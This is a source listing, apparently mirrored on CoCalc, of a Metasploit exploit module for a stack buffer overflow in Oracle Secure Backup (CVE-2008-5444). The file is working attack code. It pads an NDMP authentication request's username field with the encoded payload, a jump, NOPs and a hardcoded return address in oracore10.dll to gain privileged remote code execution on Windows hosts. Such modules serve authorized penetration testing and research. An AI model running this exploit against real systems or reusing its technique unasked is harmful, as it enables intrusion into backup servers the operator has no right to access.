CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/oracle/osb_ndmp_auth.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::NDMP
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
14
'Description' => %q{
15
The module exploits a stack buffer overflow in Oracle Secure Backup.
16
When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
17
an attacker may be able to execute arbitrary code.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2008-5444' ],
24
[ 'OSVDB', '51340' ],
25
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
26
],
27
'Platform' => 'win',
28
'Privileged' => true,
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'process',
32
},
33
'Payload' =>
34
{
35
'Space' => 1024,
36
'BadChars' => "\x00",
37
'StackAdjustment' => -3500,
38
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
39
},
40
'Targets' =>
41
[
42
[ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll
43
],
44
'DisclosureDate' => '2009-01-14',
45
'DefaultTarget' => 0))
46
47
register_options([Opt::RPORT(10000)])
48
end
49
50
def exploit
51
connect
52
53
print_status("Trying target #{target.name}...")
54
55
ndmp_recv()
56
57
username = rand_text_alphanumeric(3789 - payload.encoded.length)
58
username << payload.encoded + Rex::Arch::X86.jmp_short(6)
59
username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
60
username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)
61
62
password = rand_text_alphanumeric(rand(25) + 1)
63
64
# Create the authentication request
65
auth = [
66
0, # Sequence number
67
Time.now.to_i, # Current time
68
0, # Message type (request)
69
0x901, # Message name (connect_client_auth)
70
0, # Reply sequence number
71
0, # Error status
72
1 # Authentication type
73
].pack('NNNNNNN') +
74
[ username.length ].pack('N') + username +
75
[ password.length ].pack('N') + password +
76
[ 4 ].pack('N')
77
78
print_status("Sending authentication request...")
79
ndmp_send(auth)
80
81
handler
82
disconnect
83
end
84
end
85
86